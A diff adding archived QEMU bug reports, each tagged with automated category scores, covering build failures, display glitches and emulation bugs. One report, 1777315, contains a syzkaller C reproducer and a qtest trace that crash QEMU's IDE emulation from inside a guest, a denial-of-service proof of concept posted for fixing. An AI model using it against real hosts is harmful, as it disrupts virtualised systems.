(Merlin), 4.52 (Aurora) or eCS 1.2.5, etc. I always get an exception in OS2LVM (TRAP 000E). You can reproduce the bug using this disk image: https://drive.google.com/open?id=1zzjs9hTS0TK-Xb5hnon8SQ-2C1EmlYfy + + + +Is this a regression on previous behaviour or has never worked? What is the command line you used to launch QEMU? What version have you tested on? + +As far as I know it has never worked. I have checked it on version 2.11 and attached a link to my disk image. I used qemu-system-i386w -cpu pentium3 -m 128 -hda c.img -boot c + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1757363 b/results/classifier/108/graphic/1757363 new file mode 100644 index 000000000..1a92b8651 --- /dev/null +++ b/results/classifier/108/graphic/1757363 @@ -0,0 +1,69 @@ +graphic: 0.958 +other: 0.828 +performance: 0.819 +device: 0.779 +debug: 0.748 +network: 0.653 +permissions: 0.642 +semantic: 0.638 +PID: 0.589 +files: 0.528 +boot: 0.490 +vnc: 0.434 +socket: 0.412 +KVM: 0.371 + +infinite loop due to improper deal with "eret" on mips32 + +1.qemu 2.9.1 release on the official web build with tcg +2.cmd: qemu-system-mips -kernel kernelfile +3. host: ubuntu 16.04.1 with linux kernel 4.6.2 x86_64 + guest: mips bigendian 32bit (tplink firmware) + + +detail: + +static inline void exception_return(CPUMIPSState *env) +{ + debug_pre_eret(env); + if (env->CP0_Status & (1 << CP0St_ERL)) { + set_pc(env, env->CP0_ErrorEPC); + env->CP0_Status &= ~(1 << CP0St_ERL); + } else { + set_pc(env, env->CP0_EPC); + env->CP0_Status &= ~(1 << CP0St_EXL);====================> ISSUE???? + } + compute_hflags(env); + debug_post_eret(env); +} + +void helper_eret(CPUMIPSState *env) +{ + exception_return(env); + env->lladdr = 1; +} + + +In the Issue Line, there is no check CP0_Status whether int is disabled (should not enter int routine), +that result in the cpu can not jump out the int routine. + +What model/cpu is your router? + +Which MIPS guest CPU are you using? Are you sure it matches the CPU of your router? + +Is your tplink firmware publicly available? (to reproduce your problem). + +My guess is your router CPU doesn't match the ISA (likely your CPU has extensions to the 24Kf ISA). + +[Expired for QEMU because there has been no activity for 60 days.] + +This seems to affect me too; I have a loop on interrupt handler after the first interrupt called. + +The version of qemu is latest 3.1 from upstream, so this is not Ubuntu issue. + +However, have you done with it? Just commenting out + +env->CP0_Status &= ~(1 << CP0St_EXL); + +does not help. + diff --git a/results/classifier/108/graphic/1770417 b/results/classifier/108/graphic/1770417 new file mode 100644 index 000000000..24cf0b92a --- /dev/null +++ b/results/classifier/108/graphic/1770417 @@ -0,0 +1,69 @@ +graphic: 0.928 +device: 0.912 +permissions: 0.887 +other: 0.887 +socket: 0.881 +boot: 0.872 +network: 0.854 +performance: 0.852 +semantic: 0.845 +debug: 0.843 +PID: 0.819 +vnc: 0.769 +files: 0.753 +KVM: 0.628 + +Qemu can not parse long fqdns during drive-mirror + +During migration of an openstack booted instance, I got the following error: + +Apr 12 10:55:22 cmp1 libvirtd[4133]: 2018-04-12 10:55:22.133+0000: 4139: error : qemuMonitorJSONCheckError:392 : internal error: unable to execute QEMU command 'drive-mirror': error parsing address 'cmp0.sandriichenko-deploy-heat-virtual-mcp-pike-ovs-76.bud-mk.local:49153' + +A bit more info in libvirt bug https://bugzilla.redhat.com/show_bug.cgi?id=1568939 + +To reproduce it with qemu only, I followed the guide at https://github.com/qemu/qemu/blob/master/docs/interop/live-block-operations.rst#id21. On dest and source compute nodes, I launched an instance: + +qemu-system-x86_64 -display none -nodefconfig -M q35 -nodefaults -m 512 -blockdev node-name=node-TargetDisk,driver=qcow2,file.driver=file,file.node-name=file,file.filename=./test-instance-mirror.qcow2 -device virtio-blk,drive=node-TargetDisk,id=virtio0 -S -monitor stdio -qmp unix:./qmp-sock,server,nowait -incoming tcp:localhost:6666 + +Then on dest node I launched nbd server: + +(qemu) nbd_server_start cmp0:49153 +(qemu) nbd_server_add -w node-TargetDisk + +On the source node: + +(qemu) drive_mirror -n node-TargetDisk nbd:cmp0.vdrok-deploy-heat-virtual-mcp-pike-ovs-foobarbuzz.bud-mk.local:49153:exportname=node-TargetDisk +error parsing address 'cmp0.vdrok-deploy-heat-virtual-mcp-pike-ovs-foobarbuzz.bud-mk.local:49153' + +When using short host name instead of FQDN address seems to be parsed fine: + +(qemu) drive_mirror -n node-TargetDisk nbd:cmp0:49153:exportname=node-TargetDisk qcow2 +Image is not in qcow2 format + +(not sure why it is not a qcow2 format, as I have qcow2 image with raw backing file, but this is unrelated) + +QEMU version is 2.11.1 from bionic + +As Daniel asked in [1] making this abug report against Qemu (upstream). + +[1]: https://bugzilla.redhat.com/show_bug.cgi?id=1568939 + +Ubuntu task is not actionable until we settled on how to change the parsing code for long strings upstream, so I set it to confirmed but wishlist (until we know what size a patch - or actions a recommendation on handling differently has). + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + +[Expired for qemu (Ubuntu) because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1777315 b/results/classifier/108/graphic/1777315 new file mode 100644 index 000000000..2b8973fb2 --- /dev/null +++ b/results/classifier/108/graphic/1777315 @@ -0,0 +1,155 @@ +graphic: 0.921 +KVM: 0.895 +vnc: 0.892 +other: 0.881 +permissions: 0.856 +semantic: 0.851 +debug: 0.842 +performance: 0.842 +socket: 0.830 +device: 0.826 +PID: 0.813 +files: 0.778 +network: 0.777 +boot: 0.740 + +IDE short PRDT abort + +Hi, +QEMU 'hw/ide/core.c:871' Denial of Service Vulnerability in version qemu-2.12.0 + +run the program in qemu-2.12.0: +#define _GNU_SOURCE +#include <endian.h> +#include <sys/syscall.h> +#include <unistd.h> +#include <fcntl.h> +#include <stdio.h> +#include <string.h> +#include <sys/stat.h> +#include <stdint.h> +#include <string.h> + +static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2) +{ + if (a0 == 0xc || a0 == 0xb) { + char buf[128]; + sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2); + return open(buf, O_RDWR, 0); + } else { + char buf[1024]; + char* hash; +strncpy(buf, (char*)a0, sizeof(buf) - 1); + buf[sizeof(buf) - 1] = 0; + while ((hash = strchr(buf, '#'))) { + *hash = '0' + (char)(a1 % 10); + a1 /= 10; + } + return open(buf, a2, 0); + } +} + +uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; +void loop() +{ + long res = 0; +memcpy((void*)0x20000000, "/dev/sg#", 9); + res = syz_open_dev(0x20000000, 0, 2); + if (res != -1) + r[0] = res; + res = syscall(__NR_dup2, r[0], r[0]); + if (res != -1) + r[1] = res; +*(uint8_t*)0x20000ec0 = 0; +*(uint8_t*)0x20000ec1 = 0; +*(uint8_t*)0x20000ec2 = 0; +*(uint8_t*)0x20000ec3 = 0; +*(uint32_t*)0x20000ec8 = 0; +*(uint8_t*)0x20000ed8 = 0; +*(uint8_t*)0x20000ed9 = 0; +*(uint8_t*)0x20000eda = 0; +*(uint8_t*)0x20000edb = 0; +memcpy((void*)0x20000ee0, "\x9c\x4d\xe7\xd5\x0a\x62\x43\xa7\x77\x53\x67\xb3", 12); + syscall(__NR_write, r[1], 0x20000ec0, 0x323); +} + +int main() +{ + syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); + loop(); + return 0; +} +this will crash qemu, output information: + qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == s->sg.size' failed. + + +Thanks +owl337 + +Are you going to provide a patch for this to the mailing list? (since you've assigned the bug to yourself) + +Oh no, this is a misunderstanding. + +More Details: +use this script https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh create + wheezy.img +than run: +qemu-system-x86_64 -m 2048 -smp 1 -net nic -net user,host=10.0.2.10,hostfwd=tcp::59199-:22 -display none -serial stdio -no-reboot -enable-kvm -hda /home/icy/linux-master/wheezy.img -snapshot -kernel /home/icy/linux-master/arch/x86/boot/bzImage -append "console=ttyS0 earlyprintk=serial oops=panic nmi_watchdog=panic panic_on_warn=1 panic=86400 ftrace_dump_on_oops=orig_cpu rodata=n vsyscall=native net.ifnames=0 biosdevname=0 kvm-intel.nested=1 kvm-intel.unrestricted_guest=1 kvm-intel.vmm_exclusive=1 kvm-intel.fasteoi=1 kvm-intel.ept=1 kvm-intel.flexpriority=1 kvm-intel.vpid=1 kvm-intel.emulate_invalid_guest_state=1 kvm-intel.eptad=1 kvm-intel.enable_shadow_vmcs=1 kvm-intel.pml=1 kvm-intel.enable_apicv=1 root=/dev/sda" + +bzImage is obtained by compiling v4.17 kernel(I am not sure if it works in other kernel version). + +than execute the program in the virtual machine: ./repro +qemu will crash, output innformation: + qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == s->sg.size' failed. + +this bug influences at least qemu-2.9.94 - qemu-2.12.0. + + +A repro for the bug is setup at https://github.com/asurati/1777315, although the rfc-patch that was sent yesterday is pending testing. Unless qemu-devel advises otherwise, I am available to test and present it as a bugfix, by tomorrow. + + +FYI: we've hit this as will with syzkaller testing; this is still reproducible as-is with latest qemu (commit a6ae238), and the latest Linux kernel (5.1-rc7). + +Here's a qtest reproducer: + +./i386-softmmu/qemu-system-i386 -M pc,accel=qtest \ +-qtest null -nographic -vga qxl -qtest stdio \ +-drive if=none,id=drive0,file=null-co://,file.read-zeroes=on,format=raw \ +-drive if=none,id=drive1,file=null-co://,file.read-zeroes=on,format=raw \ +-device ide-cd,drive=drive0 -device ide-hd,drive=drive1 -nodefaults \ +< attachment + +With -trace ide*: + +[R +0.020410] outw 0x171 0xffff +28186@1594494474.407743:ide_ioport_write IDE PIO wr @ 0x171 (Features); val 0xff; bus 0x55e383419100 IDEState 0x55e383419188 +28186@1594494474.407747:ide_ioport_write IDE PIO wr @ 0x172 (Sector Count); val 0xff; bus 0x55e383419100 IDEState 0x55e383419188 +OK +[S +0.020428] OK +[R +0.020433] outw 0x176 0x35fb +28186@1594494474.407756:ide_ioport_write IDE PIO wr @ 0x176 (Device/Head); val 0xfb; bus 0x55e383419100 IDEState 0x55e383419188 +28186@1594494474.407757:ide_ioport_write IDE PIO wr @ 0x177 (Command); val 0x35; bus 0x55e383419100 IDEState 0x55e383419558 +28186@1594494474.407759:ide_exec_cmd IDE exec cmd: bus 0x55e383419100; state 0x55e383419558; cmd 0x35 +.... +28186@1594494474.411019:ide_dma_cb IDEState 0x55e383419558; sector_num=1 n=511 cmd=DMA WRITE +OK +[S +0.023732] OK +[R +0.023736] outb 0x376 0x8f +28186@1594494474.411060:ide_cmd_write IDE PIO wr @ 0x376 (Device Control); val 0x8f; bus 0x55e383419100 +OK +[S +0.023741] OK +[R +0.023742] outw 0x376 0x2779 +28186@1594494474.411064:ide_cmd_write IDE PIO wr @ 0x376 (Device Control); val 0x79; bus 0x55e383419100 +OK +[S +0.023745] OK +qemu-system-i386: /home/alxndr/Development/qemu/hw/ide/core.c:880: void ide_dma_cb(void *, int): Assertion `n * 512 == s->sg.size' failed. + + + +This is an automated cleanup. This bug report has been moved +to QEMU's new bug tracker on gitlab.com and thus gets marked +as 'expired' now. Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/57 + + diff --git a/results/classifier/108/graphic/1779650 b/results/classifier/108/graphic/1779650 new file mode 100644 index 000000000..638d32536 --- /dev/null +++ b/results/classifier/108/graphic/1779650 @@ -0,0 +1,25 @@ +graphic: 0.968 +device: 0.905 +performance: 0.770 +semantic: 0.675 +vnc: 0.630 +network: 0.629 +other: 0.606 +socket: 0.497 +debug: 0.387 +permissions: 0.313 +boot: 0.291 +files: 0.243 +PID: 0.215 +KVM: 0.079 + +The display stays black after waking up a domain via SPICE with a QXL card + +As the title says, in a jessie VM, waking up a VM via the spice remote view works with a VGA graphic card. With a QXL card though, the domain wakes up but the display stays black (the keyboard is working though). + +Qemu: Master, 281bd281222776229d5dbf84d1a5c6d8d9d2a34b + +Does the problem still persist with the latest version of QEMU? Did you maybe try to report it to the Spice project (https://www.spice-space.org/support.html)? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1781463 b/results/classifier/108/graphic/1781463 new file mode 100644 index 000000000..b8df460ac --- /dev/null +++ b/results/classifier/108/graphic/1781463 @@ -0,0 +1,119 @@ +graphic: 0.930 +semantic: 0.928 +files: 0.923 +debug: 0.920 +permissions: 0.919 +device: 0.909 +other: 0.907 +performance: 0.900 +PID: 0.884 +vnc: 0.884 +boot: 0.875 +network: 0.818 +KVM: 0.813 +socket: 0.813 + +qemu don't start *.abs firmware files + +Hello Devs, + +I'm here to report this bug/issue because i'm using Win64 Qemu but i can't start a *.abs firmware at normally this firmware is based in Linux Kernel and this type of firmware is made for STB Receivers, + +So this is all information i provide to get support. + +Files extracted by ( binwalk -e ) + + +Terminal output: + +# binwalk -e AMIKO_HD8150_2.4.43_emu.abs + +DECIMAL HEXADECIMAL DESCRIPTION + +-------------------------------------------------------------------------------- +196736 0x30080 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 11883876 bytes +3866752 0x3B0080 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3255512 bytes +5636224 0x560080 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 87904 bytes + + +Files extracted with ALI TOOLS or Ali FirmwareDecriptor. + +Windows files output: + +Software used: Ali Main Code Decrypter 8.9 + +Files unpacked: + +bootloader +MemCfg +maincode(AV) +seecode +default_lang +cipluskey +countryband +logo_user +logo_menu +logo_radio +logo_boot +patch +defaultdb(PRC) +userdb(64+64) + + +Terminal OUTPUT: + +# hexdump -C + +part of file + + +00b51a30 00 00 00 00 4c 69 62 63 6f 72 65 20 76 65 72 73 |....Libcore vers| +00b51a40 69 6f 6e 20 31 33 2e 31 36 2e 30 40 53 44 4b 34 |ion 13.16.0@SDK4| +00b51a50 2e 30 66 61 2e 31 33 2e 31 36 5f 32 30 31 36 31 |.0fa.13.16_20161| +00b51a60 30 31 39 28 67 63 63 20 76 65 72 73 69 6f 6e 20 |019(gcc version | +00b51a70 33 2e 34 2e 34 20 6d 69 70 73 73 64 65 2d 36 2e |3.4.4 mipssde-6.| +00b51a80 30 36 2e 30 31 2d 32 30 30 37 30 34 32 30 29 28 |06.01-20070420)(| +00b51a90 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 40 20 46 |Administrator@ F| +00b51aa0 72 69 2c 20 4a 75 6c 20 32 38 2c 20 32 30 31 37 |ri, Jul 28, 2017| +00b51ab0 20 31 32 3a 35 33 3a 32 38 20 41 4d 29 0a 00 00 | 12:53:28 AM)...| +00b51ac0 44 4d 58 5f 53 33 36 30 31 5f 30 00 00 a1 03 18 |DMX_S3601_0.....| + + +When I use readelf it says files isn't an ELF file, so i can't run it like a kernel (Bootloader,Maincode, and etc. ) + +so this is the cmd output when i use qemu Win64 (I don't whant to use linux to do the emulation about this *.abs extension firmware so please help me for win64 version from Qemu) + +CMD OUTPUT: + + C:\Program Files\qemu>qemu-system-mips.exe -machine mips -cpu mips32r6-generic -drive file=C:\30080.bin,index=0,media=disk,format=raw + +qemu-system-mips.exe: warning: could not load MIPS bios 'mips_bios.bin' + +I also tried a lot of diferents qemu-system... and a lot of diferent configs like -machine -cpu -kernel -driver root= -PFLASH and etc... and nothing hapenned + +How can i reproduce this issue ? +Reply:. + +Donwload *.abs firmware in amikoreceiver.com (only *.abs) and download AliDekompressor in http://www.satedu.cba.pl/ + +Direct tools: + +FirmwareDecrypter_v8.9.zip : + +http://www.satedu.cba.pl/index.php?action=downloadfile&filename=FirmwareDecrypter_v8.9.zip&directory=Test%20Folder& + +Ali__tools_Console_v4.0__CRC_FIXER.rar : + +http://www.satedu.cba.pl/index.php?action=downloadfile&filename=Ali__tools_Console_v4.0__CRC_FIXER.rar&directory=Test%20Folder& + + +so if Qemu can explain how can i fix this issue this can be highly helpfull. + +With my best regards, +David Martins +Screamfox + +As far as I understand the original description, this was about running an arbitrary firmware in QEMU that has been written for a board that we do not support in QEMU? This can not work. A machine consists of a CPU and various devices that are on board, so you can only run the software that has been written for the CPU and the corresponding devices. If I've got you right, you want to run some software for a board that we do not model in QEMU, so it just can't work since the required devices are not emulated. Thus I'm closing this as "Invalid" now ... unless I've misunderstood your description, then please complain and we can open the ticket again. + +Comment #1 from Thomas is correct, this MIPS machine is not modelled. + diff --git a/results/classifier/108/graphic/1781515 b/results/classifier/108/graphic/1781515 new file mode 100644 index 000000000..942e0928d --- /dev/null +++ b/results/classifier/108/graphic/1781515 @@ -0,0 +1,54 @@ +graphic: 0.969 +KVM: 0.902 +device: 0.895 +performance: 0.875 +other: 0.868 +PID: 0.853 +semantic: 0.853 +permissions: 0.824 +boot: 0.815 +files: 0.773 +network: 0.758 +socket: 0.754 +vnc: 0.740 +debug: 0.717 + +Resolution switch leads to the screen/image being corrupted + +I am currently using QEMU on a Arch Linux host, the guest OS is also Arch Linux. + +The QEMU version is currently 2.12.0-2 packaged by Arch Linux, the command line I'm using to fire an Arch VM is: + +$ qemu-system-x86_64 -enable-kvm -hda archlinux.qcow2 -m 4G -smp 4 + +The problem I'm currently having is, after firing the VM and running startx I want to change the resolution to the native resolution, which is 1366x768 on my ThinkPad T450, however, after changing the resolution the image on the guest gets corrupted and it's impossible to see anything. + +At this point I can only turn off the VM. The only workaround I found is to start the VM with -vga virtio. + +The problem in this case occurs with -vga std which is the default video driver. + +Switching the resolution with -vga std was working fine before, I'm not sure on which version it started having this issue, but it should be on a recent version. + +I use the intel i915 drivers on the host OS. + +Hi Diego, + +It seems this is a known limitation[1] because horizontal width is not a multiple of 8, try 1360x768 as the nearest resolution, which works for me on guests not supporting QXL drivers. + +Regards. + +[1] Proposed patch from 2013: https://lists.gnu.org/archive/html/qemu-devel/2013-03/msg02732.html + +Hi Francisco, thanks for your quick reply. + +I've tried `xrandr --output Virtual-1 --mode 1360x768' with -vga std and I also get a corrupted image. + +I'm attaching a screenshot of what the screen corruption looks like after changing the resolution. + +Thanks. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1785698 b/results/classifier/108/graphic/1785698 new file mode 100644 index 000000000..041dcd596 --- /dev/null +++ b/results/classifier/108/graphic/1785698 @@ -0,0 +1,600 @@ +graphic: 0.955 +other: 0.935 +vnc: 0.921 +debug: 0.919 +device: 0.887 +socket: 0.885 +PID: 0.882 +permissions: 0.878 +network: 0.857 +performance: 0.844 +files: 0.833 +boot: 0.821 +semantic: 0.794 +KVM: 0.788 + +Solaris build error: unknown type name ‘gcry_error_t’ + +Building qemu 2.12.0 on a Sun Oracle Enterprise M3000 SPARC64 VII, opencsw toolchain and gcc 7.3.0, gmake fails with a bunch of related errors all in cypher-gcrypt.c: + +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:262:32: error: ‘gcry_cipher_hd_t’ undeclared (first use in this function); did you mean ‘gcry_cipher_info’? + err = gcry_cipher_encrypt((gcry_cipher_hd_t)ctx, dst, length, src, length); ^~~~~~~~~~~~~~~~ + gcry_cipher_info +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:262:49: error: expected ‘)’ before ‘ctx’ + err = gcry_cipher_encrypt((gcry_cipher_hd_t)ctx, dst, length, src, length); ^~~ +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:262:11: error: too few arguments to function ‘gcry_cipher_encrypt’ + err = gcry_cipher_encrypt((gcry_cipher_hd_t)ctx, dst, length, src, length); ^~~~~~~~~~~~~~~~~~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:25:0, + from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153: +/usr/include/gcrypt.h:566:5: note: declared here + int gcry_cipher_encrypt (GcryCipherHd h, + ^~~~~~~~~~~~~~~~~~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153:0: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c: In function ‘qcrypto_gcrypt_xts_decrypt’: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:271:5: error: unknown type name ‘gcry_error_t’; did you mean ‘g_error’? + gcry_error_t err; + ^~~~~~~~~~~~ + g_error +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:272:32: error: ‘gcry_cipher_hd_t’ undeclared (first use in this function); did you mean ‘gcry_cipher_info’? + err = gcry_cipher_decrypt((gcry_cipher_hd_t)ctx, dst, length, src, length); ^~~~~~~~~~~~~~~~ + gcry_cipher_info +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:272:49: error: expected ‘)’ before ‘ctx’ + err = gcry_cipher_decrypt((gcry_cipher_hd_t)ctx, dst, length, src, length); ^~~ +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:272:11: error: too few arguments to function ‘gcry_cipher_decrypt’ + err = gcry_cipher_decrypt((gcry_cipher_hd_t)ctx, dst, length, src, length); ^~~~~~~~~~~~~~~~~~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:25:0, + from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153: +/usr/include/gcrypt.h:571:5: note: declared here + int gcry_cipher_decrypt (GcryCipherHd h, + ^~~~~~~~~~~~~~~~~~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153:0: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c: In function ‘qcrypto_gcrypt_cipher_encrypt’: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:284:5: error: unknown type name ‘gcry_error_t’; did you mean ‘g_error’? + gcry_error_t err; + ^~~~~~~~~~~~ + g_error +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:293:21: warning: passing argument 1 of ‘xts_encrypt’ makes pointer from integer without a cast [-Wint-conversion] + xts_encrypt(ctx->handle, ctx->tweakhandle, + ^~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:22:0, + from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153: +/export/home/denber/qemu-2.12.0/include/crypto/xts.h:73:6: note: expected ‘const void *’ but argument is of type ‘int’ + void xts_encrypt(const void *datactx, + ^~~~~~~~~~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153:0: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:293:34: warning: passing argument 2 of ‘xts_encrypt’ makes pointer from integer without a cast [-Wint-conversion] + xts_encrypt(ctx->handle, ctx->tweakhandle, + ^~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:22:0, + from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153: +/export/home/denber/qemu-2.12.0/include/crypto/xts.h:73:6: note: expected ‘const void *’ but argument is of type ‘int’ + void xts_encrypt(const void *datactx, + ^~~~~~~~~~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153:0: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:298:35: warning: passing argument 1 of ‘gcry_cipher_encrypt’ makes pointer from integer without a cast [-Wint-conversion] + err = gcry_cipher_encrypt(ctx->handle, + ^~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:25:0, + from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153: +/usr/include/gcrypt.h:566:5: note: expected ‘GcryCipherHd {aka struct gcry_cipher_handle *}’ but argument is of type ‘int’ + int gcry_cipher_encrypt (GcryCipherHd h, + ^~~~~~~~~~~~~~~~~~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153:0: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c: In function ‘qcrypto_gcrypt_cipher_decrypt’: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:320:5: error: unknown type name ‘gcry_error_t’; did you mean ‘g_error’? + gcry_error_t err; + ^~~~~~~~~~~~ + g_error +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:329:21: warning: passing argument 1 of ‘xts_decrypt’ makes pointer from integer without a cast [-Wint-conversion] + xts_decrypt(ctx->handle, ctx->tweakhandle, + ^~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:22:0, + from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153: +/export/home/denber/qemu-2.12.0/include/crypto/xts.h:51:6: note: expected ‘const void *’ but argument is of type ‘int’ + void xts_decrypt(const void *datactx, + ^~~~~~~~~~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153:0: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:329:34: warning: passing argument 2 of ‘xts_decrypt’ makes pointer from integer without a cast [-Wint-conversion] + xts_decrypt(ctx->handle, ctx->tweakhandle, + ^~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:22:0, + from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153: +/export/home/denber/qemu-2.12.0/include/crypto/xts.h:51:6: note: expected ‘const void *’ but argument is of type ‘int’ + void xts_decrypt(const void *datactx, + ^~~~~~~~~~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153:0: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:334:35: warning: passing argument 1 of ‘gcry_cipher_decrypt’ makes pointer from integer without a cast [-Wint-conversion] + err = gcry_cipher_decrypt(ctx->handle, + ^~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:25:0, + from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153: +/usr/include/gcrypt.h:571:5: note: expected ‘GcryCipherHd {aka struct gcry_cipher_handle *}’ but argument is of type ‘int’ + int gcry_cipher_decrypt (GcryCipherHd h, + ^~~~~~~~~~~~~~~~~~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153:0: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c: In function ‘qcrypto_gcrypt_cipher_setiv’: +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:353:5: error: unknown type name ‘gcry_error_t’; did you mean ‘g_error’? + gcry_error_t err; + ^~~~~~~~~~~~ + g_error +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:365:19: warning: implicit declaration of function ‘gcry_cipher_setctr’; did you mean ‘gcry_cipher_setiv’? [-Wimplicit-function-declaration] + err = gcry_cipher_setctr(ctx->handle, iv, niv); + ^~~~~~~~~~~~~~~~~~ + gcry_cipher_setiv +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:365:19: warning: nested extern declaration of ‘gcry_cipher_setctr’ [-Wnested-externs] +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:372:13: warning: implicit declaration of function ‘gcry_cipher_reset’; did you mean ‘gcry_cipher_close’? [-Wimplicit-function-declaration] + gcry_cipher_reset(ctx->handle); + ^~~~~~~~~~~~~~~~~ + gcry_cipher_close +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:372:13: warning: nested extern declaration of ‘gcry_cipher_reset’ [-Wnested-externs] +/export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:373:19: warning: passing argument 1 of ‘gcry_cipher_ctl’ makes pointer from integer without a cast [-Wint-conversion] + err = gcry_cipher_setiv(ctx->handle, iv, niv); + ^~~~~~~~~~~~~~~~~ +In file included from /export/home/denber/qemu-2.12.0/crypto/cipher-gcrypt.c:25:0, + from /export/home/denber/qemu-2.12.0/crypto/cipher.c:153: +/usr/include/gcrypt.h:540:5: note: expected ‘GcryCipherHd {aka struct gcry_cipher_handle *}’ but argument is of type ‘int’ + int gcry_cipher_ctl( GcryCipherHd h, int cmd, void *buffer, size_t buflen); + ^~~~~~~~~~~~~~~ +gmake: *** [/export/home/denber/qemu-2.12.0/rules.mak:67: crypto/cipher.o] Error 1 + +--------------------------------------------------------------------- + +I do have libgcrypt, libgcrypt_dev, and libgcrypt_utils installed from opencsw. + +It turns out I needed +#include </opt/csw/include/gcrypt.h> +in crypto/cipher-grypt.c + +However, now I'm stuck on + +# gmake +mkdir -p dtc/libfdt +mkdir -p dtc/tests +Bad string + LINK qemu-nbd +ld: fatal: library -lutil: not found +ld: fatal: file processing errors. No output written to qemu-nbd +collect2: error: ld returned 1 exit status +gmake: *** [/export/home/denber/qemu-2.12.0/rules.mak:122: qemu-nbd] Error 1 +# + +I can't find who's asking for -lutil. There's no mention of it in qemu-nbd.c. Can someone tell me where thsi need for -lutil is coming from? + + +Hi, compiling on Solaris is currently unsupported since no developer has access to a Solaris system (see https://wiki.qemu.org/ChangeLog/3.0#Warning:_unsupported_host_systems for example). +Concerning -lutil, there is a check in the "configure" script: + +if test "$darwin" != "yes" -a "$mingw32" != "yes" -a "$solaris" != yes -a \ + "$haiku" != "yes" ; then + libs_softmmu="-lutil $libs_softmmu" +fi + +Maybe something went wrong with the detection of Solaris there? What's the content of the $solaris variable at that point in time? + +Adding #include </opt/csw/include/gcrypt.h> is definitely wrong. You are instead missing the right -I include path. The libgcrypt-config command should be in $PATH, and should print "-I/opt/csw/include" args when running 